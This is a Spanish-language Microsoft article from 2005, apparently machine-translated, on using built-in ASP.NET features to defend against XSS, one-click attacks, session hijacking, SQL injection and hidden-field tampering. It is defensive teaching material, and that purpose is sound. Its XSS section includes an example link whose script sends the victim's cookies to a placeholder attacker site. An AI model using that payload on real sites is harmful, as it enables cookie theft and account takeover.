Compartir a través de


Cómo aprovechar las ventajas de las características integradas de ASP.NET para rechazar los ataques a través de Internet

 

Dino Esposito
Wintellect

Enero de 2005

Se aplica a
   Microsoft ASP.NET 1. X
   Microsoft ASP.NET 2.0

Resumen: Dino resume los tipos más comunes de ataques web y describe cómo los desarrolladores web pueden usar características integradas de ASP.NET para aumentar la seguridad. (13 páginas impresas)

Contenido

¿De qué ASP.NET deben hacer siempre los desarrolladores de dónde proceden las amenazas?
ViewStateUserKey
Cookies y autenticación
Secuestro de sesión
EnableViewStateMac
ValidateRequest
Perspectiva de la base de datos
Campos ocultos
Correos electrónicos y correo no deseado
Resumen
Recursos relacionados

Qué ASP.NET los desarrolladores deben hacer siempre

Si está leyendo este artículo, es probable que no tenga que estar informado sobre la creciente importancia de la seguridad en las aplicaciones web. Es probable que busque algunos consejos prácticos sobre cómo implementar la seguridad en ASP.NET aplicaciones. La mala noticia es que ninguna plataforma de desarrollo (incluida ASP.NET) puede garantizar que escribirá código seguro del 100 % una vez que lo adopte, que dice que, simplemente mentiras. La buena noticia, en lo que respecta a ASP.NET, es que ASP.NET, especialmente la versión 1.1 y la próxima versión 2.0, integra una serie de barreras defensivas integradas, listas para su uso.

La aplicación de todas estas características por sí sola no es suficiente para proteger una aplicación web contra todos los ataques posibles y previsibles. Sin embargo, combinado con otras técnicas defensivas y estrategias de seguridad, las características integradas de ASP.NET forman un eficaz kit de herramientas para ayudar a garantizar que las aplicaciones funcionan en un entorno seguro.

La seguridad web es la suma de varios factores y el resultado de una estrategia que va mucho más allá de los límites de la aplicación individual para implicar la administración de bases de datos, la configuración de red y también la ingeniería social y la suplantación de identidad.

El objetivo de este artículo es ilustrar lo que ASP.NET los desarrolladores siempre deben hacer para mantener la barra de seguridad razonablemente alta. Eso es lo que la seguridad es sobre todo, mantener la guardia arriba, nunca sentirse completamente seguro, y hacer que sea más difícil y difícil para los malos que hackear.

Veamos lo que ASP.NET tiene que ofrecer para simplificar el trabajo.

De dónde proceden las amenazas

En la tabla 1, he resumido los tipos más comunes de ataques web y defectos en la aplicación que pueden hacerlos correctos.

Ataque Es posible mediante . . .
Scripts entre sitios (XSS) Entrada de usuario que no es de confianza que se repite en la página
Inyección de código SQL Concatenación de la entrada de usuario para formar comandos SQL
Secuestro de sesión Cookies de id. de sesión de adivinación y id. de sesión robadas
Un solo clic No se reconocen las publicaciones HTTP enviadas a través del script
Manipulación oculta de campos Campo oculto desactivado (y de confianza) rellenado con datos confidenciales

Tabla 1. Ataques web comunes

¿Cuáles son los hechos clave que surgen de la lista? Al menos los tres siguientes, diría:

  • Siempre que inserte cualquier tipo de entrada de usuario en el marcado del explorador, puede exponerse a un ataque por inyección de código (cualquier variación de inyección de código y XSS).
  • El acceso a la base de datos debe realizarse de forma segura, es decir, usar el menor conjunto de permisos posible para las cuentas y delimitar la responsabilidad del usuario individual a través de roles.
  • Los datos confidenciales nunca se deben enviar a través de la conexión (por ejemplo, como texto no cifrado) y deben almacenarse de forma segura en el servidor.

Es interesante tener en cuenta que los tres puntos anteriores abordan tres aspectos distintos de la seguridad web, cuya combinación es la única manera razonable de crear una aplicación a prueba de balas y resistente a alteraciones. Las facetas de seguridad web se pueden resumir de la siguiente manera:

  • Procedimientos de codificación: validación de datos, comprobación de longitud de tipo y búfer, medidas contra alteraciones
  • Estrategias de acceso a datos: use roles para garantizar la cuenta más débil posible, use procedimientos almacenados o al menos comandos parametrizados.
  • Almacenamiento y administración eficaces: no envíe datos críticos al cliente, use códigos hash para detectar la manipulación, autenticar a los usuarios y proteger identidades, aplicar directivas rigurosas para contraseñas.

Como puede ver, una aplicación segura solo puede resultar de los esfuerzos combinados de desarrolladores, arquitectos y administradores. No suponga que puede hacerlo bien de lo contrario.

Al escribir ASP.NET aplicaciones que no te quedan por tu cuenta para luchar contra el ejército de hackers, armado solo con tus cerebros, habilidades y dedos para escribir líneas de código. ASP.NET 1.1 y versiones posteriores ayuda con algunas características específicas que aumentan las barreras automáticas contra algunas de las amenazas enumeradas anteriormente. Vamos a revisarlos con detalle.

ViewStateUserKey

Introducida con ASP.NET 1.1, ViewStateUserKey es una propiedad de cadena en la clase Page con la que solo algunos desarrolladores admiten estar familiarizados. ¿Por qué? Vamos a leer lo que tiene que decir la documentación.

Asigna un identificador a un usuario individual en la variable de estado de vista asociada a la página actual.

A pesar del estilo convoluado, la frase es bastante clara; pero¿puedes decir honestamente que explica el propósito previsto de la propiedad? Para comprender el rol de ViewStateUserKey, debe leer un poco más, hasta que llegue a la sección Comentarios .

La propiedad le ayuda a evitar ataques de un solo clic proporcionando una entrada adicional para crear el valor hash que defiende el estado de vista contra la manipulación. En otras palabras, ViewStateUserKey hace que sea mucho más difícil que los hackers usen el contenido del estado de vista del lado cliente para preparar publicaciones malintencionadas en el sitio. A la propiedad se le puede asignar cualquier cadena no vacía, preferiblemente el identificador de sesión o el identificador del usuario. Para comprender mejor la importancia de esta propiedad, vamos a revisar brevemente los conceptos básicos del ataque con un solo clic .

Un ataque de un solo clic consiste en publicar un formulario HTTP malintencionado en un sitio web conocido y vulnerable. Se llama "un solo clic" porque normalmente comienza con una víctima no consciente haciendo clic en un vínculo de atracción recibido por correo electrónico o encontrado al navegar por un foro lleno. Al seguir el vínculo, el usuario desencadena accidentalmente un proceso remoto que termina enviando el formulario> malintencionado <a un sitio. Ser honesto: ¿puedes decir que nunca has seguido un enlace como Click here to win $1.000.000 just to see what happens? Aparentemente, nada malo te pasó. Supongamos que esto es correcto; ¿puede decir lo mismo para todo el resto de la comunidad web? Quién sabe.

Para que se realice correctamente, un ataque con un solo clic requiere ciertas condiciones en segundo plano:

  • El atacante debe saber mucho sobre el sitio vulnerable. Esto puede ocurrir porque el atacante "diligentemente" estudió el archivo, o porque es un interno enojado (por ejemplo, un empleado despedido y deshoneste). Por esta razón, el ataque podría ser potencialmente devastador.
  • El sitio debe usar cookies (mejor si las cookies persistentes) para implementar el inicio de sesión único y el atacante debe haber recibido una cookie de autenticación válida.
  • Algunos usuarios del sitio están implicados en transacciones confidenciales.
  • El atacante debe tener acceso a la página de destino.

Como se mencionó, el ataque consiste en enviar un formulario HTTP malintencionado a una página que espera un formulario. Razonablemente, esta página consumirá datos publicados para realizar alguna operación confidencial. Razonablemente, el atacante sabe exactamente cómo se usará cada campo y puede surgir con algunos valores suplantados para alcanzar su objetivo. Por lo general, es un ataque dirigido, y también es difícil realizar un seguimiento debido al comercio triangular que establece, el hacker induce a una víctima a hacer clic en un enlace en el sitio del hacker, que a su vez publicará el código incorrecto en un tercer sitio. (Vea la figura 1).

ms972969.securitybarriers01(en-us,MSDN.10).gif

Figura 1. El ataque con un solo clic

¿Por qué una víctima no especificada? Dado que, de esta manera, los registros del servidor muestran que la dirección IP donde se originó la solicitud incorrecta es la dirección IP de la víctima. Como se mencionó, este ataque no es tan común (y fácil de organizar) como un XSS "clásico" ; sin embargo, su naturaleza hace que sea potencialmente devastador. ¿Cuál es la cura para ella? Vamos a revisar la mecánica del ataque en el contexto de ASP.NET.

A menos que la acción esté codificada en el evento Page_Load , no hay ninguna manera de que una página de ASP.NET pueda ejecutar código confidencial fuera de un evento de postback. Para que se produzca un evento de postback, el campo de estado de vista es obligatorio. Tenga en cuenta que ASP.NET comprueba el estado de postback de una solicitud y establece IsPostBack en consecuencia, en función de la presencia del campo de entrada _VIEWSTATE. Por lo tanto, quien quiera enviar una solicitud falsa a una página de ASP.NET debe proporcionar necesariamente un campo de estado de vista válido.

Para que el ataque de un solo clic funcione, el hacker debe haber tenido acceso a la página. Cuando esto sucedió, el hacker de visión lejana guardó la página localmente. Por lo tanto, ahora puede acceder al campo _VIEWSTATE y usarlo para crear una solicitud con el estado de vista anterior y los valores malintencionados en otros campos. La pregunta es, ¿funcionará esto?

¿Por qué no? Si el atacante puede proporcionar una cookie de autenticación válida, el hacker entra y la solicitud se procesa periódicamente. El contenido del estado de vista no se comprueba en absoluto en el servidor (cuando EnableViewStataMac está desactivado) o solo se comprueba contra la manipulación. De forma predeterminada, no hay nada en el estado de vista que vincula ese contenido a un usuario determinado. El atacante puede reutilizar fácilmente el estado de vista obtenido haciendo acceso legal a la página para crear una solicitud falsa en nombre de otro usuario. Ahí es donde se ajusta ViewStateUserKey .

Si se elige con precisión, la propiedad agrega información específica del usuario al estado de vista. Cuando se procesa la solicitud, ASP.NET extrae la clave del estado de vista y la compara con viewStateUserKey de la página en ejecución. Si las dos coinciden, la solicitud se considera legítima; de lo contrario, se produce una excepción. ¿Cuál es un valor válido para la propiedad?

Establecer ViewStateUserKey en una cadena constante (la misma para todos los usuarios) es como dejarla en blanco. Debe establecerlo en algo que varía para cada usuario: identificador de usuario o, mejor aún, identificador de sesión. Por diversas razones técnicas y sociales, el id. de sesión es mucho más adecuado porque es imprevisible, agota el tiempo de espera y varía para cada usuario.

Este es el código que debe tener en todas las páginas:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

Para evitar escribir esto una y otra vez, puede entornillarlo en el método virtual OnInit de la clase derivada de Page. (Tenga en cuenta que debe establecer esta propiedad en el evento Page.Init ).

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

En general, el uso de una clase de página base siempre es algo bueno, como se explica en mi artículo, Build Your ASP.NET Pages on a Richer Bedrock. Puede encontrar un artículo excelente para obtener más información sobre las tácticas de los atacantes con un solo clic en aspnetpro.com.

Cookies y autenticación

Existen cookies porque pueden ayudar a los desarrolladores a lograr resultados. Las cookies funcionan como un tipo de vínculo persistente entre el explorador y el servidor. Especialmente para las aplicaciones que usan el inicio de sesión único, una cookie robada es simplemente lo que hace posible el ataque. Esto es sin duda el caso de ataques con un solo clic.

Para usar cookies, no es necesario crearlas y leerlas explícitamente mediante programación. Usa cookies implícitamente si usa el estado de sesión y si implementa la autenticación de formularios. Seguro, ASP.NET admite el estado de sesión sin cookies y ASP.NET 2.0 también presenta la autenticación de formularios sin cookies. Por lo tanto, en teoría podría usar esas funcionalidades sin usar cookies. No digo que no tengas que hacerlo, pero es sólo uno de los casos en los que el remedio puede ser incluso peor que la enfermedad. De hecho, las sesiones sin cookies insertan el identificador de sesión en la dirección URL, lo que hace que sea visible para todos.

¿Cuáles son los posibles problemas relacionados con el uso de cookies? Las cookies pueden ser robadas (es decir, copiadas en la máquina del hacker) y envenenadas (es decir, llenas de datos malintencionados). Estas acciones suelen ser el preludio de un ataque entrante. Si lo roban, las cookies de autenticación "autorizan" a los usuarios externos a conectarse a la aplicación (y usar páginas protegidas) en nombre de usted, lo que podría permitir que los hackers omitan felizmente la autorización y realicen cualquier función y configuración de seguridad que permita a la víctima hacer. Por este motivo, las cookies de autenticación suelen tener una duración relativamente corta: 30 minutos. (Tenga en cuenta que la cookie expira incluso si la sesión del explorador tarda más tiempo en completarse). En caso de robo, los hackers tienen una ventana de 30 minutos para probar el ataque.

Esta ventana se puede ampliar para evitar que los usuarios tengan que iniciar sesión con demasiada frecuencia; Ten en cuenta que lo haces en tu propio peligro. En cualquier caso, evite usar ASP.NET cookies persistentes. Eso haría que la vida de la cookie sea prácticamente perenne, siempre y cuando 50 años! El siguiente fragmento de código muestra cómo modificar la expiración de la cookie en tiempo libre.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

Es posible que quiera usar este código en sus propios formularios de inicio de sesión para ajustar la duración de las cookies de autenticación.

Secuestro de sesión

Las cookies también se usan para recuperar el estado de sesión de un usuario determinado. El identificador de la sesión se almacena en una cookie que viaja hacia atrás y hacia adelante con la solicitud y se almacena en la máquina del explorador. De nuevo, si se roba la cookie de sesión se puede usar para obtener un hacker en el sistema y acceder al estado de sesión de otra persona. No es necesario decir que esto puede ocurrir siempre que la sesión especificada esté activa, normalmente, no más de 20 minutos. Un ataque llevado a cabo a través de un estado de sesión suplantado se conoce como secuestro de sesión. Para obtener más detalles sobre el secuestro de sesión, lea Theft On The Web: Prevent Session Secuestrador.

¿Qué tan peligroso puede ser este ataque? Es difícil de decir. Depende de lo que hace el sitio web y, lo que es más importante, de cómo se diseñan sus páginas. Por ejemplo, imagine que ha podido obtener la cookie de sesión de otra persona y adjuntarla a una solicitud a una página del sitio. Carga la página y trabaja a través de su interfaz de usuario normal. No hay código que pueda insertar en la página y nada en la página que pueda modificar, salvo que la página ahora funciona con el estado de sesión de otro usuario. Esto no es malo por se, pero puede llevar a los hackers directamente a una vulnerabilidad de seguridad exitosa siempre y cuando la información de la sesión sea confidencial y crítica. Mira, el hacker no puede posponer el contenido del almacén de sesiones, pero lo que se almacena en él se usa como si el hacker lo hubiera escrito legítimamente. Por ejemplo, imagine una aplicación de comercio electrónico en la que los usuarios agregan elementos a un carro de la compra a medida que navegan por el sitio.

  • Escenario n.º 1. El contenido del carro de la compra se almacena en el estado de sesión. Sin embargo, al hacer el registro de salida, se solicita al usuario que confirme y escriba los detalles de pago a través de una conexión SSL segura. En este caso, conectar con el estado de sesión de otro usuario solo permite al hacker conocer algunos detalles sobre las preferencias de compra de la víctima. Ningún tipo de daño realmente resulta de secuestro en este contexto. Solo la confidencialidad está en riesgo.
  • Escenario n.º 2. La aplicación controla un perfil para cada usuario registrado y almacena el perfil en el estado de sesión. Por desgracia, el perfil (como podría ser el caso) incluye información de tarjeta de crédito. ¿Por qué almacenar los detalles del perfil de usuario en la sesión? Quizás uno de los objetivos de la aplicación es, en última instancia, salvar a los usuarios de escribir su tarjeta de crédito e información bancaria una y otra vez. Por lo tanto, una vez desproteger, la aplicación navega al usuario a una página con campos rellenados previamente. Improvidently, uno de estos campos es el número de tarjeta de crédito tomado del estado de sesión. ¿Ahora puedes adivinar el final de la historia?

El diseño de la página de la aplicación es clave para evitar ataques de secuestro de sesión. Sin embargo, dos puntos permanecen abiertos. La primera es, ¿qué puede hacer para evitar el robo de cookies? El segundo es, ¿qué puede ASP.NET hacer para detectar y bloquear el secuestro?

La cookie de sesión de ASP.NET es extremadamente sencilla y se limita a contener la única cadena de identificador de sesión. El tiempo de ejecución de ASP.NET extrae el identificador de sesión de la cookie y lo comprueba con las sesiones activas. Si el identificador es válido, ASP.NET se conecta a la sesión correspondiente y continúa. Este comportamiento simplifica considerablemente la vida de los hackers que han robado o pueden adivinar un identificador de sesión válido.

Los ataques XSS y man-in-the-middle, así como el acceso bruto a un equipo cliente, son todas las formas de obtener una cookie válida. Para evitar robos, debe implementar procedimientos recomendados de seguridad para evitar que XSS y todas sus variaciones se realicen correctamente.

Para evitar la estimación del identificador de sesión, en su lugar, simplemente debe evitar sobreratar sus aptitudes. Adivinar un identificador de sesión significa que sabe una manera de predecir una cadena de identificador de sesión válida. Dado el algoritmo usado por ASP.NET (15 números aleatorios asignados a caracteres habilitados para url), la posibilidad de adivinar un identificador válido por probabilidad se aproxima a cero. No hay ninguna razón por la que puedo pensar en reemplazar el generador de identificadores de sesión predeterminado por el suyo propio. En muchos casos, solo facilita la vida a los atacantes.

Lo que es peor sobre el secuestro de sesión es que una vez que una cookie se ha robado o adivinado que no hay mucho ASP.NET puede hacer para detectar el uso fraudulento de la cookie. De nuevo, la razón es que ASP.NET limita a comprobar la validez del identificador y pregunta el lugar de origen de la cookie.

Mi amigo de Wintellect Jeff Prosise escribió un excelente artículo sobre secuestro de sesión para MSDN Magazine. Sus conclusiones ofrecen poca comodidad, es prácticamente imposible crear una defensa infalible contra ataques que se basan en cookies de id. de sesión robadas, pero el código que desarrolló ofrece una sugerencia inteligente para aumentar aún más la barra de seguridad. Jeff creó un módulo HTTP que supervisa las solicitudes entrantes y las respuestas salientes para las cookies de identificador de sesión. El módulo anexa un código hash a los identificadores de sesión salientes que harían que el atacante volvera a usar esa cookie. Puede leer los detalles aquí.

EnableViewStateMac

El estado de vista se usa para conservar el estado de los controles en dos solicitudes sucesivas para la misma página. De forma predeterminada, el estado de vista está codificado en Base64 y está firmado con un valor hash para evitar alteraciones. A menos que cambie la configuración de página predeterminada, el estado de vista no corre el riesgo de alterarse. Si un atacante modifica el estado de vista o incluso si vuelve a generar el estado de vista mediante el algoritmo correcto, ASP.NET detecta el intento e inicia una excepción. Sin embargo, un estado de vista manipulado no es necesariamente perjudicial, modifica el estado de los controles de servidor, pero puede convertirse en el vehículo de infecciones graves. Por este motivo, es de extrema importancia que no quite la comprobación cruzada del código de autenticación de la máquina (MAC) que tiene lugar de forma predeterminada. Vea la figura 2.

ms972969.securitybarriers02(en-us,MSDN.10).gif

Ilustración 2. ¿Qué hace que el estado de vista sea inherentemente resistente a alteraciones cuando EnableViewStateMac está habilitado?

Cuando la comprobación de MAC está habilitada (que es el valor predeterminado), el estado de vista serializado se anexa un valor hash que resulta de algunos valores del lado servidor y la clave de usuario de estado de vista, si existe. Cuando el estado de la vista se devuelve, el valor hash se calcula de nuevo mediante valores de servidor nuevos y en comparación con el valor almacenado. Si las dos coinciden, se permite la solicitud; de lo contrario, se produce una excepción. Incluso suponiendo que el hacker tiene las aptitudes para descifrar y recompilar el estado de vista, debe conocer los valores almacenados por el servidor para generar un hash válido. En concreto, el hacker debe conocer la clave de máquina a la que se hace referencia en la < entrada machineKey> de machine.config.

De forma predeterminada, la <entrada machineKey> se genera automáticamente y se almacena físicamente en la Entidad de seguridad local (LSA) de Windows. Solo en el caso de las granjas de servidores web, cuando las claves de máquina del estado de vista deben ser las mismas en todos los equipos, debe especificarla como texto no cifrado en el archivo machine.config.

La comprobación de MAC de estado de vista se controla a través de un atributo de directiva @Page denominado EnableViewStateMac. Como se mencionó, se establece en true de forma predeterminada. Nunca lo deshabilite; haría posible ver los ataques de manipulación de estado con un solo clic y con grandes posibilidades de éxito.

ValidateRequest

El scripting entre sitios (XSS) es conocido por muchos desarrolladores web experimentados, ya que está en 1999 o así. En pocas palabras, XSS aprovecha los agujeros en el código para introducir el código ejecutable de un hacker en la sesión del explorador de otro usuario. Ejecutado, el código insertado puede realizar una variedad de acciones: tomar cookies y cargar una copia en el sitio web controlado de un hacker, supervisar la sesión web del usuario y reenviar datos, modificar el comportamiento y la apariencia de la página hackada proporcionando información incorrecta, incluso hacer que sea persistente, de modo que la próxima vez que el usuario vuelva a la página, el código fraudulento se vuelve a ejecutar. Lea con más detalle los conceptos básicos de un ataque XSS en el artículo de TechNet Información general sobre scripting entre sitios.

¿Qué lagunas en el código hacen posibles ataques XSS?

XSS aprovecha las aplicaciones web que generan dinámicamente páginas HTML y no validan la entrada que se devuelve a la página. La entrada aquí significa el contenido de cadenas de consulta, cookies y campos de formulario. Si este contenido se pone en línea sin comprobaciones de integridad adecuadas, existe el riesgo de que los hackers puedan manipularlo para ejecutar scripts malintencionados en los exploradores cliente. (Después de todo, el ataque de un solo clic mencionado anteriormente es una variación reciente de XSS). Un ataque XSS típico implica que el usuario no especificado sigue un vínculo atractivo que inserta código de script de escape. El código fraudulento se envía a una página vulnerable que la genera de forma confiable. Este es un ejemplo de lo que puede suceder:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

El usuario hace clic en un vínculo aparentemente seguro y termina pasando a una página vulnerable un fragmento de código de script que primero obtiene todas las cookies en el equipo del usuario y, a continuación, las envía a una página en el sitio web del hacker.

Es importante tener en cuenta que XSS no es un problema específico del proveedor y no aprovecha necesariamente agujeros en Internet Explorer. Afecta a cada servidor web y explorador actualmente en el mercado. Incluso más importante, tenga en cuenta que no hay ninguna revisión única para corregirla. Seguramente puede proteger las páginas de XSS, lo hace aplicando medidas específicas y prácticas de codificación sane. Además, tenga en cuenta que el atacante no necesita que el usuario haga clic en un vínculo para iniciar el ataque.

Para defenderse contra XSS, debe determinar principalmente qué entrada es válida y rechazar todo el resto. Puede encontrar una lista de comprobación detallada para frustrar los ataques XSS en el libro que es una lectura necesaria en Microsoft: Escritura de código seguro por Michael Howard y David LeBlanc. En particular, sugiero que eche un vistazo cuidadoso al capítulo 13.

La forma principal de frustrar los ataques XSS insidious es agregar una capa de validación sólida y bien hecha a la entrada, cualquier tipo de datos de entrada. Por ejemplo, hay circunstancias en las que incluso un color inocuo (un triplet RGB) puede llevar un script no controlado directamente a la página.

En ASP.NET 1.1, cuando está activado, el atributo ValidateRequest en la directiva @Page comprueba que los usuarios no envían marcado HTML potencialmente peligroso en cadenas de consulta, cookies o campos de formulario. Si se detecta, se produce una excepción y se anula la solicitud. El atributo está activado de forma predeterminada; no tienes que hacer nada para protegerse. Si desea permitir que pase el marcado HTML, debe deshabilitarlo activamente.

<%@ Page ValidateRequest="false" %>

ValidateRequestno es la viñeta plateada y no puede reemplazar una capa de validación efectiva. Lea aquí para obtener una gran cantidad de información valiosa sobre cómo funciona realmente la característica en segundo plano. Básicamente aplica una expresión regular para detectar algunas secuencias potencialmente dañinas.

Nota La característica ValidateRequest fue originalmente errónea; debe aplicar una revisión para que funcione según lo previsto. Esta información es valiosa que a menudo ha pasado desapercibida. Extrañamente, me encontré con una de mis máquinas todavía afectadas por el defecto. ¡Compruébelo!

No hay ninguna razón para no mantener ValidateRequest activado. Puede deshabilitarlo, pero debe tener una razón muy buena; uno de los cuales podría ser el requisito de usuario de poder publicar código HTML en el sitio para obtener mejores opciones de formato. En este caso, debe limitar el número de etiquetas HTML permitidas (<pre>, <b>, <i>, <p>, <br>, <hr>) y escribir una expresión regular que garantice que no se permite ni acepta nada más.

Estas son algunas sugerencias más que ayudan a proteger ASP.NET aplicaciones de XSS:

  • Use HttpUtility.HtmlEncode para convertir símbolos peligrosos en su representación HTML.
  • Use comillas dobles en lugar de comillas simples, ya que la codificación HTML solo escape comillas dobles.
  • Forzar una página de códigos para limitar el número de caracteres que se pueden usar.

En resumen, use, pero no confíe totalmente, el atributo ValidateRequest y no sea demasiado diferido. Dedique algún tiempo a comprender las amenazas de seguridad como XSS en sus raíces y planee una estrategia defensiva centrada en un punto clave, considere la posibilidad de que todos los usuarios introduzcan mal.

Perspectiva de la base de datos

La inyección de código SQL es otro tipo conocido de ataque que aprovecha las aplicaciones que usan entradas de usuario sin filtrar para formar comandos de base de datos. Si la aplicación usa con felicidad lo que el usuario escribe en un campo de formulario para crear una cadena de comandos SQL, le expone al riesgo de que un usuario malintencionado simplemente pueda acceder a la página y escribir parámetros fraudulentos para modificar la naturaleza de la consulta. Puede obtener más información sobre la inyección de CÓDIGO SQL aquí.

Hay muchas maneras en las que puede frustrar un ataque por inyección de código SQL. Estas son las técnicas más comunes.

  • Asegúrese de que cualquier entrada del usuario sea del tipo adecuado y siga el patrón esperado (código postal, SSN, dirección de correo electrónico). Si espera un número de un cuadro de texto, bloquee la solicitud si el usuario escribe algo que no se puede convertir en un número.
  • Use consultas parametrizadas o, mejor aún, procedimientos almacenados.
  • Use SQL Server permisos para limitar las cosas que cada usuario puede hacer en la base de datos. Por ejemplo, es posible que quiera deshabilitar xp_cmdshell o limitarlo a los administradores.

Si usa un procedimiento almacenado, reduzca significativamente la superficie expuesta a ataques. Con los procedimientos almacenados, de hecho, no es necesario crear cadenas SQL dinámicamente. Además, los parámetros se validan en SQL Server con los tipos especificados. Aunque esto solo no es una técnica segura del 100 por ciento, combinada con la validación, le hará más seguro.

Es aún más importante asegurarse de que solo los usuarios autorizados realicen operaciones potencialmente demoledoras, como quitar tablas. Esto requiere un diseño cuidadoso del nivel intermedio de la aplicación. Una buena técnica, y no solo debido a la seguridad, es centrarse en los roles. Los usuarios agrupan en roles y definen una cuenta para cada rol con el menor conjunto de permisos.

Hace unas semanas, el sitio web de Wintellect estaba bajo ataque a través de una forma sofisticada de inyección de código SQL. El hacker intentó crear e iniciar un script FTP para descargar un ejecutable (¿malintencionado?). Fue nuestra buena suerte que el ataque falló. ¿O era bastante segura la validación de entrada, el uso de procedimientos almacenados y el uso de permisos de SQL Server que impedían que el ataque funcionara?

Para resumir, siga estas instrucciones para evitar inyecciones no deseadas de código SQL:

  • Ejecute con privilegios mínimos y nunca ejecute código como "sa".
  • Restringir el acceso a procedimientos almacenados integrados.
  • Favorece las consultas parametrizadas de SQL.
  • No compile instrucciones a través de la concatenación de cadenas y no haga eco de errores de base de datos.

Campos ocultos

En ASP clásico, los campos ocultos son la única manera de conservar los datos entre solicitudes. Los datos que necesite recuperar en la siguiente solicitud se empaquetan en un campo de entrada> oculto< y se realiza un recorrido de ida y vuelta. ¿Qué ocurre si en el cliente alguien modifica los valores almacenados en el campo? El entorno del lado servidor no tiene forma de averiguarlo siempre y cuando el texto esté claro. La propiedad ASP.NET ViewState para páginas y controles individuales sirve para dos propósitos. Por un lado, ViewState es el medio para conservar el estado entre las solicitudes; por otro lado, ViewState permite almacenar valores personalizados en un campo oculto protegido y resistente a alteraciones.

Como se muestra en la figura 2, el estado de vista se anexa un valor hash que se comprueba en cada solicitud y cada solicitud para detectar alteraciones. No hay ninguna razón para usar campos ocultos en ASP.NET excepto en algunos casos. El estado de vista hace lo mismo de una manera mucho más segura. Dicho por adelantado que almacenar valores confidenciales, como los precios o los detalles de la tarjeta de crédito en un campo oculto claro, es como dejar la puerta abierta a los hackers, el estado de vista incluso haría que esta práctica incorrecta sea menos peligrosa que antes debido a su mecanismo de protección de datos. Sin embargo, tenga en cuenta que el estado de vista impide la manipulación, pero no garantiza la confidencialidad a menos que la cifre, por lo que los detalles de la tarjeta de crédito almacenados en el estado de vista están en riesgo.

¿Cuándo es aceptable usar campos ocultos en ASP.NET? Cuando cree controles personalizados que necesiten devolver datos al servidor. Por ejemplo, imagine que crea un nuevo control DataGrid que admite la reordenación de columnas. Debe volver a pasar el nuevo pedido al servidor en postbacks. ¿Dónde más puede almacenar esta información, si no se encuentra en un campo oculto?

Si el campo oculto es un campo de lectura y escritura (es decir, se espera que el cliente lo escriba), no hay mucho que pueda hacer es prueba de hacker. Puedes intentar aplicar un hash o cifrar el texto, pero esto no te daría ninguna certeza razonable de no ser hackeado. La mejor defensa aquí es hacer que el campo oculto contenga información inerte e inofensiva.

Dicho esto, vale la pena tener en cuenta que ASP.NET expone una clase poco conocida que se puede usar para codificar y aplicar un hash a cualquier objeto serializado. La clase es LosFormatter y es la misma clase que usa la implementación de ViewState para crear el texto codificado de ida y vuelta al cliente.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

El fragmento de código anterior muestra cómo usar LosFormatter para crear contenido similar al estado de la vista, codificado y con hash.

Correo electrónico y correo no deseado

Para finalizar este artículo, permítanme señalar que al menos dos de los ataques más comunes (XSS clásico y un solo clic) a menudo se llevan a cabo mediante la inducción de víctimas insuspeccionadas para hacer clic en vínculos de atracción y suplantación de identidad. Muchas veces encontramos estos enlaces directamente en nuestra bandeja de entrada, sin perjuicio de los filtros contra correo no deseado. Los volúmenes de direcciones de correo electrónico se pueden comprar por unos pocos dólares. Una de las técnicas principales que se usan para crear estas listas es examinar páginas públicas en sitios web que buscan, y agarrar, todo lo que parezca una dirección de correo electrónico.

Si una página muestra una dirección de correo electrónico, las posibilidades de que los robots web lo detecte antes o después. ¿En serio? Bueno, depende mucho de cómo se muestre la dirección de correo electrónico. Si lo codificas de forma dura, estás perdido. Si recurres a representaciones alternativas como dino-at-microsoft-dot-com, no es claro si realmente engañas a un robot web; por seguro, irritará a cualquier persona que lea su página que quiera establecer un contacto legítimo.

En general, debe averiguar una manera de generar dinámicamente la dirección de correo electrónico como un vínculo mailto . Esto es exactamente lo que hace un componente libre escrito por Marco Bellinaso. Puede obtenerlo con código fuente completo desde el sitio web DotNet2TheMax .

Resumen

¿Alguien duda de que la Web es probablemente la más hostil de todos los entornos en tiempo de ejecución? Procede del hecho de que todo el mundo puede acceder a un sitio web e intentar pasarlos datos buenos y incorrectos. Sin embargo, ¿realmente tendría sentido crear una aplicación web que no acepte la entrada del usuario?

Así que vamos a enfrentarlo: independientemente de la seguridad del firewall y la frecuencia con la que aplique las revisiones disponibles, si está ejecutando una aplicación web inherentemente vulnerable, antes o más tarde los atacantes caminarán directamente al corazón de los sistemas a través de la entrada principal, es decir, el puerto 80.

ASP.NET aplicaciones no son más vulnerables ni más seguras que otras aplicaciones web. Tanto la seguridad como la vulnerabilidad derivan de las prácticas de codificación, la experiencia del campo y el trabajo en equipo. No hay ninguna aplicación segura si la red no es; del mismo modo, independientemente de la seguridad y la administración de la red, los atacantes siempre encontrarán su manera si la aplicación se interrumpe.

La belleza de ASP.NET es que le proporciona algunas buenas herramientas para elevar la barra de seguridad a un nivel de paso con unos pocos clics. Sin embargo, no es un nivel suficiente. No se base en ASP.NET soluciones integradas por sí solas, pero tampoco debe omitirlas. Y aprenda tanto como sea posible sobre los ataques más comunes.

En este artículo se proporciona una lista anotada de características integradas y algunos antecedentes sobre ataques y defensas. Las técnicas para detectar ataques continuos son otra historia y quizás requieran otro artículo.

Escribir código seguro por Michael Howard y David LeBlanc

TechNet Magazine, Robo en la Web: Evitar secuestro de sesión

 

Acerca del autor

Dino Esposito es un instructor y consultor de Wintellect basado en Italia. Autor de Programación de Microsoft ASP.NET y la versión más reciente de Introducción a Microsoft ASP.NET 2.0 (ambas de Microsoft Press), pasa la mayoría de sus clases de enseñanza en ASP.NET y ADO.NET y hablando en conferencias. Blog de Tour Dino en https://weblogs.asp.net/despos.

© Microsoft Corporation. Todos los derechos reservados.